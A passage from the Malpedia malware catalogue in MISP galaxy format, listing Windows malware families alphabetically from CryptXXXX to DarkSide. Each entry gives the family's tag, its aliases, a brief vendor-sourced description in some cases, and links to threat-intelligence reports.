<td><a href="https://twitter.com/JaromirHorejsi/status/818369717371027456">https://twitter.com/JaromirHorejsi/status/818369717371027456</a></td>
</tr>
</tbody>
</table>

## CryptXXXX

The tag is: `misp-galaxy:malpedia="CryptXXXX"`

CryptXXXX is also known as:
Table 2817. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptxxxx">https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptxxxx</a></td>
</tr>
<tr>
<td><a href="https://www.sentinelone.com/blog/sophisticated-new-packer-identified-in-cryptxxx-ransomware-sample/">https://www.sentinelone.com/blog/sophisticated-new-packer-identified-in-cryptxxx-ransomware-sample/</a></td>
</tr>
</tbody>
</table>

**Crytox**

Ransomware.

The tag is: `misp-galaxy:malpedia="Crytox"`

Crytox is also known as:

Table 2818. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.crytox">https://malpedia.caad.fkie.fraunhofer.de/details/win.crytox</a></td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware">https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware</a></td>
</tr>
</tbody>
</table>

**CsExt**

The tag is: `misp-galaxy:malpedia="CsExt"`

CsExt is also known as:

Table 2819. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.csext">https://malpedia.caad.fkie.fraunhofer.de/details/win.csext</a></td>
</tr>
</tbody>
</table>

**CTB Locker**

The tag is: `misp-galaxy:malpedia="CTB Locker"`

CTB Locker is also known as:

Table 2820. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ctb_locker">https://malpedia.caad.fkie.fraunhofer.de/details/win.ctb_locker</a></td>
</tr>
</tbody>
</table>
Cuba

Ransomware.

The tag is: misp-galaxy:malpedia="Cuba"

Cuba is also known as:

- COLDDRAW

Table 2821. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cuba">https://malpedia.caad.fkie.fraunhofer.de/details/win.cuba</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/cuba-ransomware/110533/">https://securelist.com/cuba-ransomware/110533/</a></td>
</tr>
<tr>
<td><a href="https://lab52.io/blog/cuba-ransomware-analysis/">https://lab52.io/blog/cuba-ransomware-analysis/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/cuba-ransomware-tropical-scorpius/">https://unit42.paloaltonetworks.com/cuba-ransomware-tropical-scorpius/</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis">https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2019/12/cuba-ransomware.html">https://id-ransomware.blogspot.com/2019/12/cuba-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://www.guidepointsecurity.com/blog/using-hindsight-to-close-a-cuba-cold-case/">https://www.guidepointsecurity.com/blog/using-hindsight-to-close-a-cuba-cold-case/</a></td>
</tr>
</tbody>
</table>
Cuegoe

The tag is: `misp-galaxy:malpedia="Cuegoe"`

Cuegoe is also known as:

Table 2822. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cuegoe">https://malpedia.caad.fkie.fraunhofer.de/details/win.cuegoe</a></td>
</tr>
<tr>
<td><a href="https://www.eff.org/deeplinks/2014/01/vietnamese-malware-gets-personal">https://www.eff.org/deeplinks/2014/01/vietnamese-malware-gets-personal</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html">https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html</a></td>
</tr>
<tr>
<td><a href="http://blog.malwaremustdie.org/2014/08/another-country-sponsored-malware.html">http://blog.malwaremustdie.org/2014/08/another-country-sponsored-malware.html</a></td>
</tr>
</tbody>
</table>

Cueisfry

The tag is: `misp-galaxy:malpedia="Cueisfry"`

Cueisfry is also known as:

Table 2823. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cueisfry">https://malpedia.caad.fkie.fraunhofer.de/details/win.cueisfry</a></td>
</tr>
</tbody>
</table>

Cur1Downloader

Potential Lazarus sample.

The tag is: `misp-galaxy:malpedia="Cur1Downloader"`

Cur1Downloader is also known as:
Curator

Profero describes this as a ransomware family using CryptoPP as library to enable file encryption with the Salsa20 algorithm and protecting the encryption keys with RSA2048.

The tag is: `misp-galaxy:malpedia="Curator"`

Curator is also known as:

- Ever101
- SunnyDay

Cursed Murderer

Ransomware.

The tag is: `misp-galaxy:malpedia="Cursed Murderer"`

Cursed Murderer is also known as:
CustomerLoader

CustomerLoader is a .Net-based loader that drops more than 40 different malware families. It appeared in June 2023 and is being distributed via phishing, YouTube videos and malicious websites.

The tag is: misp-galaxy:malpedia="CustomerLoader"

CustomerLoader is also known as:

Table 2827. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.customerloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.customerloader</a></td>
</tr>
</tbody>
</table>

Cutlet

The tag is: misp-galaxy:malpedia="Cutlet"

Cutlet is also known as:

Table 2828. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cutlet">https://malpedia.caad.fkie.fraunhofer.de/details/win.cutlet</a></td>
</tr>
<tr>
<td><a href="https://explore.group-ib.com/htct/hi-tech_crime_2018">https://explore.group-ib.com/htct/hi-tech_crime_2018</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html">https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html</a></td>
</tr>
</tbody>
</table>

Cutwail

The tag is: misp-galaxy:malpedia="Cutwail"

Cutwail is also known as:

Table 2829. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cutwail">https://malpedia.caad.fkie.fraunhofer.de/details/win.cutwail</a></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-essex">http://www.secureworks.com/research/threat-profiles/gold-essex</a></td>
</tr>
</tbody>
</table>
CyberGate

According to Subex Secure, CyberGate is a Remote Access Trojan (RAT) that allows an attacker to gain unauthorized access to the victim's system. Attackers can remotely connect to the compromised system from anywhere around the world. The Malware author generally uses this program to steal private information like passwords, files, etc. It might also be used to install malicious software on the compromised systems.

The tag is: misp-galaxy:malpedia="CyberGate"

CyberGate is also known as:

- Rebhip

Table 2830. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cybergate">https://malpedia.caad.fkie.fraunhofer.de/details/win.cybergate</a></td>
</tr>
<tr>
<td><a href="https://blog.reversinglabs.com/blog/rats-in-the-library">https://blog.reversinglabs.com/blog/rats-in-the-library</a></td>
</tr>
</tbody>
</table>
CyberSplitter

The tag is: *misp-galaxy:malpedia*="CyberSplitter"

CyberSplitter is also known as:

Table 2831. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cyber_splitter">https://malpedia.caad.fkie.fraunhofer.de/details/win.cyber_splitter</a></td>
</tr>
</tbody>
</table>

CycBot

The tag is: *misp-galaxy:malpedia*="CycBot"

CycBot is also known as:

Table 2832. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cycbot">https://malpedia.caad.fkie.fraunhofer.de/details/win.cycbot</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2011/07/14/cycbot-ready-to-ride/">https://www.welivesecurity.com/2011/07/14/cycbot-ready-to-ride/</a></td>
</tr>
</tbody>
</table>

Cyrat

According to gdatasoftware, Cyrat ransomware uses Fernet to encrypt files. This is a symmetric encryption method meant for small data files that fit into RAM. While Fernet is not unusual itself, it is not common for ransomware and in this case even problematic.

The tag is: *misp-galaxy:malpedia*="Cyrat"

Cyrat is also known as:

Table 2833. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cyrat">https://malpedia.caad.fkie.fraunhofer.de/details/win.cyrat</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2020/08/cyrat-ransomware.html">https://id-ransomware.blogspot.com/2020/08/cyrat-ransomware.html</a></td>
</tr>
</tbody>
</table>
cysxl

The tag is: misp-galaxy:malpedia="cysxl"

cysxl is also known as:

Table 2834. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.cysxl">https://malpedia.caad.fkie.fraunhofer.de/details/win.cysxl</a></td>
</tr>
<tr>
<td><a href="https://www.enigmasoftware.com/bkdrcysxla-removal/">https://www.enigmasoftware.com/bkdrcysxla-removal/</a></td>
</tr>
</tbody>
</table>

Dacls (Windows)

According to PCrisk, Dacls is the name of a remote access Trojan (RAT), a malicious program that allows cyber criminals to control infected computers remotely.

Research shows that this malware is tied to Lazarus Group (a group of cyber criminals) and targets Linux and the Windows Operating System. Typically, cyber criminals use RATs to steal sensitive, confidential information, infect systems with other malware, and so on. In any case, no RAT is harmless and should be uninstalled immediately.

The tag is: misp-galaxy:malpedia="Dacls (Windows)"

Dacls (Windows) is also known as:

• MATA

Table 2835. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dacls">https://malpedia.caad.fkie.fraunhofer.de/details/win.dacls</a></td>
</tr>
<tr>
<td><a href="https://blog.netlab.360.com/dacls-the-dual-platform-rat/">https://blog.netlab.360.com/dacls-the-dual-platform-rat/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/">https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/</a></td>
</tr>
<tr>
<td><a href="https://malwareandstuff.com/peb-where-magic-is-stored/">https://malwareandstuff.com/peb-where-magic-is-stored/</a></td>
</tr>
<tr>
<td><a href="https://www.sygnia.co/mata-framework">https://www.sygnia.co/mata-framework</a></td>
</tr>
</tbody>
</table>
**DADJOKE**

DADJOKE was discovered as being distributed via email, targeting a South-East Asian Ministry of Defense. It is delivered as an embedded EXE file in a Word document using remote templates and a unique macro using multiple GET requests. The payload is deployed using load-order hijacking with a benign Windows Defender executable. Stage 1 has only beacon+download functionality, made to look like a PNG file. Additional analysis by Kaspersky found 8 campaigns over 2019 and no activity prior to January 2019, DADJOKE is attributed with medium confidence to APT40.

The tag is: `misp-galaxy:malpedia="DADJOKE"`

DADJOKE is also known as:

*Table 2836. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.youtube.com/watch?v=vx9IB88wXSE">https://www.youtube.com/watch?v=vx9IB88wXSE</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ClearskySec/status/1110941178231484417">https://twitter.com/ClearskySec/status/1110941178231484417</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/a_tweeter_user/status/1154764787823316993">https://twitter.com/a_tweeter_user/status/1154764787823316993</a></td>
</tr>
<tr>
<td><a href="https://prezi.com/view/jGyAzyy5dT0kDrtwsJi5/">https://prezi.com/view/jGyAzyy5dT0kDrtwsJi5/</a></td>
</tr>
<tr>
<td><a href="https://wemp.app/posts/80ab2b2d-4e0e-4960-94b7-4d452a06fd38?utm_source=latest-posts">https://wemp.app/posts/80ab2b2d-4e0e-4960-94b7-4d452a06fd38?utm_source=latest-posts</a></td>
</tr>
</tbody>
</table>

**DADSTACHE**

The tag is: `misp-galaxy:malpedia="DADSTACHE"`

DADSTACHE is also known as:

*Table 2837. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.elastic.co/blog/advanced-techniques-used-in-malaysian-focused-apt-campaign">https://www.elastic.co/blog/advanced-techniques-used-in-malaysian-focused-apt-campaign</a></td>
</tr>
<tr>
<td><a href="https://medium.com/insomniacs/dad-theres-a-rat-in-here-e3729b65bf7a">https://medium.com/insomniacs/dad-theres-a-rat-in-here-e3729b65bf7a</a></td>
</tr>
</tbody>
</table>
Dairy

The tag is: `misp-galaxy:malpedia="Dairy"`

Dairy is also known as:

Table 2838. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.dairy">https://malpedia.caad.fkie.fraunhofer.de/details/win.dairy</a></td>
</tr>
</tbody>
</table>

DanaBot

Proofpoint describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on “quality over quantity” in email-based threats. DanaBot’s modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker.

The tag is: `misp-galaxy:malpedia="DanaBot"`

DanaBot is also known as:

Table 2839. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot">https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2019/02/07/danabot-updated-new-cc-communication/">https://www.welivesecurity.com/2019/02/07/danabot-updated-new-cc-communication/</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-110a">https://www.cisa.gov/uscert/ncas/alerts/aa22-110a</a></td>
</tr>
<tr>
<td><a href="https://blog.yoroi.company/research/dissecting-the-danabot-paylaod-targeting-italy/">https://blog.yoroi.company/research/dissecting-the-danabot-paylaod-targeting-italy/</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>--------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/breakdown-of-a-targeted-danabot-attack.html">https://www.fortinet.com/blog/threat-research/breakdown-of-a-targeted-danabot-attack.html</a></td>
</tr>
<tr>
<td><a href="https://malverse.it/costruiamo-un-config-extractor-per-danabot-parte-1">https://malverse.it/costruiamo-un-config-extractor-per-danabot-parte-1</a></td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/security-research/technical-analysis-danabot-obfuscation-techniques">https://www.zscaler.com/blogs/security-research/technical-analysis-danabot-obfuscation-techniques</a></td>
</tr>
<tr>
<td><a href="https://www.gdatasoftware.com/blog/2019/05/31695-strange-bits-smuggling-malware-github">https://www.gdatasoftware.com/blog/2019/05/31695-strange-bits-smuggling-malware-github</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/supply-chain-node-js">https://www.mandiant.com/resources/supply-chain-node-js</a></td>
</tr>
<tr>
<td><a href="https://security-soup.net/decoding-a-danabot-downloader/">https://security-soup.net/decoding-a-danabot-downloader/</a></td>
</tr>
<tr>
<td><a href="https://flashpoint.io/blog/danabot-version-3-what-you-need-to-know/">https://flashpoint.io/blog/danabot-version-3-what-you-need-to-know/</a></td>
</tr>
<tr>
<td><a href="https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/">https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/</a></td>
</tr>
<tr>
<td><a href="https://blog.lexfo.fr/danabot-malware.html">https://blog.lexfo.fr/danabot-malware.html</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/danabot-demands-a-ransom-payment/">https://research.checkpoint.com/danabot-demands-a-ransom-payment/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/f0wlsec/status/1459892481760411649">https://twitter.com/f0wlsec/status/1459892481760411649</a></td>
</tr>
<tr>
<td><a href="https://malwareandstuff.com/deobfuscating-danabots-api-hashing/">https://malwareandstuff.com/deobfuscating-danabots-api-hashing/</a></td>
</tr>
<tr>
<td><a href="https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/">https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/</a></td>
</tr>
</tbody>
</table>
danbot

Danbot is a backdoor malware that is originally written in C#. Recent versions of Danbot are written in C++. Danbot is capable of giving a remote attacker remote access features such as running a cmd command, upload and download files, move and copy files. The backdoor commands are transmitted by either using HTTP or DNS protocols. The commands are encapsulated in an XML file that gets stored in disk. Danbot's backdoor component picks up the XML file where it decodes and decrypts the commands.

The tag is: misp-galaxy:malpedia="danbot"

danbot is also known as:

Table 2840. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.danbot">https://malpedia.caad.fkie.fraunhofer.de/details/win.danbot</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/cobalt-lyceum">https://www.secureworks.com/research/threat-profiles/cobalt-lyceum</a></td>
</tr>
<tr>
<td><a href="https://cyberx-labs.com/blog/deep-dive-into-the-lyceum-danbot-malware/">https://cyberx-labs.com/blog/deep-dive-into-the-lyceum-danbot-malware/</a></td>
</tr>
<tr>
<td><a href="https://otx.alienvault.com/pulse/5d4301edb3f3406ac01acc0f">https://otx.alienvault.com/pulse/5d4301edb3f3406ac01acc0f</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=FttiysUZmDw">https://www.youtube.com/watch?v=FttiysUZmDw</a></td>
</tr>
</tbody>
</table>

DarkBit

The tag is: misp-galaxy:malpedia="DarkBit"

DarkBit is also known as:

Table 2841. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.darkbit">https://malpedia.caad.fkie.fraunhofer.de/details/win.darkbit</a></td>
</tr>
</tbody>
</table>
**DarkCloud Stealer**

Stealer is written in Visual Basic.

The tag is: *misp-galaxy:malpedia=“DarkCloud Stealer”*

DarkCloud Stealer is also known as:

*Table 2842. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcloud">https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcloud</a></td>
</tr>
<tr>
<td><a href="https://c3rb3ru5d3d53c.github.io/malware-blog/darkcloud-stealer/">https://c3rb3ru5d3d53c.github.io/malware-blog/darkcloud-stealer/</a></td>
</tr>
</tbody>
</table>

**DarkComet**

DarkComet is one of the most famous RATs, developed by Jean-Pierre Lesueur in 2008. After being used in the Syrian civil war in 2011, Lesuer decided to stop developing the trojan. Indeed, DarkComet is able to enable control over a compromised system through use of a simple graphic user interface. Experts think that this user friendliness is the key of its mass success.

The tag is: *misp-galaxy:malpedia=“DarkComet”*

DarkComet is also known as:

- Breut
- Fynloski
- klovbot

*Table 2843. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcomet">https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcomet</a></td>
</tr>
<tr>
<td><a href="http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html">http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html</a></td>
</tr>
</tbody>
</table>
DARKDEW

Mandiant associates this with UNC4191, this malware spreads to removable drives.

The tag is: *misp-galaxy:malpedia=“DARKDEW”*

DARKDEW is also known as:

*Table 2844. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.darkdew">https://malpedia.caad.fkie.fraunhofer.de/details/win.darkdew</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia">https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia</a></td>
</tr>
</tbody>
</table>
DarkEye

The tag is: *misp-galaxy:malpedia="DarkEye"

DarkEye is also known as:

Table 2845. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.darkeye">https://malpedia.caad.fkie.fraunhofer.de/details/win.darkeye</a></td>
</tr>
</tbody>
</table>

DarkGate

First documented in 2018, DarkGate is a commodity loader with features that include the ability to download and execute files to memory, a Hidden Virtual Network Computing (HVNC) module, keylogging, information-stealing capabilities, and privilege escalation. DarkGate makes use of legitimate AutoIt files and typically runs multiple AutoIt scripts. New versions of DarkGate have been advertised on a Russian language eCrime forum since May 2023.

The tag is: *misp-galaxy:malpedia="DarkGate"

DarkGate is also known as:

- Meh

Table 2846. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.darkgate">https://malpedia.caad.fkie.fraunhofer.de/details/win.darkgate</a></td>
</tr>
<tr>
<td><a href="https://www.truesec.com/hub/blog/darkgate-loader-delivered-via-teams">https://www.truesec.com/hub/blog/darkgate-loader-delivered-via-teams</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/janrubin/meh-2-2/">https://decoded.avast.io/janrubin/meh-2-2/</a></td>
</tr>
<tr>
<td><a href="https://embee-research.ghost.io/decoding-a-simple-visual-basic-vbs-script-darkgate-loader/">https://embee-research.ghost.io/decoding-a-simple-visual-basic-vbs-script-darkgate-loader/</a></td>
</tr>
<tr>
<td><a href="https://0xtoxin.github.io/threat%20breakdown/DarkGate-Camapign-Analysis/">https://0xtoxin.github.io/threat%20breakdown/DarkGate-Camapign-Analysis/</a></td>
</tr>
<tr>
<td><a href="https://www.zerofox.com/blog/the-underground-economist-volume-3-issue-12/">https://www.zerofox.com/blog/the-underground-economist-volume-3-issue-12/</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/janrubin/complex-obfuscation-meh/">https://decoded.avast.io/janrubin/complex-obfuscation-meh/</a></td>
</tr>
</tbody>
</table>
DarkIRC

The tag is: `misp-galaxy:malpedia="DarkIRC"`

DarkIRC is also known as:

Table 2847. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

DarkLoader

The tag is: `misp-galaxy:malpedia="DarkLoader"`

DarkLoader is also known as:

Table 2848. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/3xp0rtblog/status/1459081435361517585">https://twitter.com/3xp0rtblog/status/1459081435361517585</a></td>
</tr>
</tbody>
</table>

DarkMe

The tag is: `misp-galaxy:malpedia="DarkMe"`

DarkMe is also known as:

Table 2849. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.darkme">https://malpedia.caad.fkie.fraunhofer.de/details/win.darkme</a></td>
</tr>
<tr>
<td><a href="http://blog.nsfocus.net/darkcasino-apt-evilnum/">http://blog.nsfocus.net/darkcasino-apt-evilnum/</a></td>
</tr>
</tbody>
</table>

DarkMegi

The tag is: `misp-galaxy:malpedia="DarkMegi"`
DarkMegi is also known as:

Table 2850. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmegi">https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmegi</a></td>
</tr>
<tr>
<td><a href="http://contagiodump.blogspot.com/2012/04/this-is-darkmegie-rootkit-sample-kindly.html">http://contagiodump.blogspot.com/2012/04/this-is-darkmegie-rootkit-sample-kindly.html</a></td>
</tr>
</tbody>
</table>

Darkmoon

The tag is: misp-galaxy:malpedia="Darkmoon"

Darkmoon is also known as:

- Chymine

Table 2851. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmoon">https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmoon</a></td>
</tr>
<tr>
<td><a href="https://www.f-secure.com/v-descs/trojan-downloader_w32_chymine_a.shtml">https://www.f-secure.com/v-descs/trojan-downloader_w32_chymine_a.shtml</a></td>
</tr>
</tbody>
</table>

DarkPink

The tag is: misp-galaxy:malpedia="DarkPink"

DarkPink is also known as:

Table 2852. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.darkpink">https://malpedia.caad.fkie.fraunhofer.de/details/win.darkpink</a></td>
</tr>
</tbody>
</table>

DarkPulsar

The tag is: misp-galaxy:malpedia="DarkPulsar"

DarkPulsar is also known as:

Table 2853. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>

1164
DarkRat

The tag is: `misp-galaxy:malpedia="DarkRat"`

DarkRat is also known as:

Table 2854. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.darkrat">https://malpedia.caad.fkie.fraunhofer.de/details/win.darkrat</a></td>
</tr>
<tr>
<td><a href="https://fr3d.hk/blog/darkrat-hacking-a-malware-control-panel">https://fr3d.hk/blog/darkrat-hacking-a-malware-control-panel</a></td>
</tr>
</tbody>
</table>

DarkShell

DarkShell is a DDoS bot seemingly of Chinese origin, discovered in 2011. During 2011, DarkShell was reported to target the industrial food processing industry.

The tag is: `misp-galaxy:malpedia="DarkShell"`

DarkShell is also known as:

Table 2855. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.darkshell">https://malpedia.caad.fkie.fraunhofer.de/details/win.darkshell</a></td>
</tr>
</tbody>
</table>

DarkSide (Windows)

FireEye describes DARKSIDE as a ransomware written in C and configurable to target files whether on fixed, removable disks, or network shares. The malware can be customized by the affiliates to create a build for specific victims.

The tag is: `misp-galaxy:malpedia="DarkSide (Windows)"`

DarkSide (Windows) is also known as:

- BlackMatter

Table 2856. Table References
<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.darkside">https://malpedia.caad.fkie.fraunhofer.de/details/win.darkside</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-waterfall">https://www.secureworks.com/research/threat-profiles/gold-waterfall</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_">https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_</a></td>
</tr>
<tr>
<td>SES_Ransomware-Threat-Landscape_WP.pdf</td>
</tr>
<tr>
<td><a href="https://therecord.media/popular-hacking-forum-bans-ransomware-ads/">https://therecord.media/popular-hacking-forum-bans-ransomware-ads/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-">https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-</a></td>
</tr>
<tr>
<td>operations.html</td>
</tr>
<tr>
<td><a href="https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-">https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-</a></td>
</tr>
<tr>
<td>million-in-bitcoin/</td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2021/07/blackmatter-ransomware.html">https://id-ransomware.blogspot.com/2021/07/blackmatter-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/GelosSnake/status/1451465959894667275">https://twitter.com/GelosSnake/status/1451465959894667275</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/embee_research/status/1678631524374020098?s=46">https://twitter.com/embee_research/status/1678631524374020098?s=46</a></td>
</tr>
<tr>
<td><a href="https://brandefense.io/darkside-ransomware-analysis-report/">https://brandefense.io/darkside-ransomware-analysis-report/</a></td>
</tr>
<tr>
<td><a href="https://www.advanced-intel.com/post/from-dawn-to-silent-night-darkside-ransomware-initial-">https://www.advanced-intel.com/post/from-dawn-to-silent-night-darkside-ransomware-initial-</a></td>
</tr>
<tr>
<td>attack-vector-evolution</td>
</tr>
<tr>
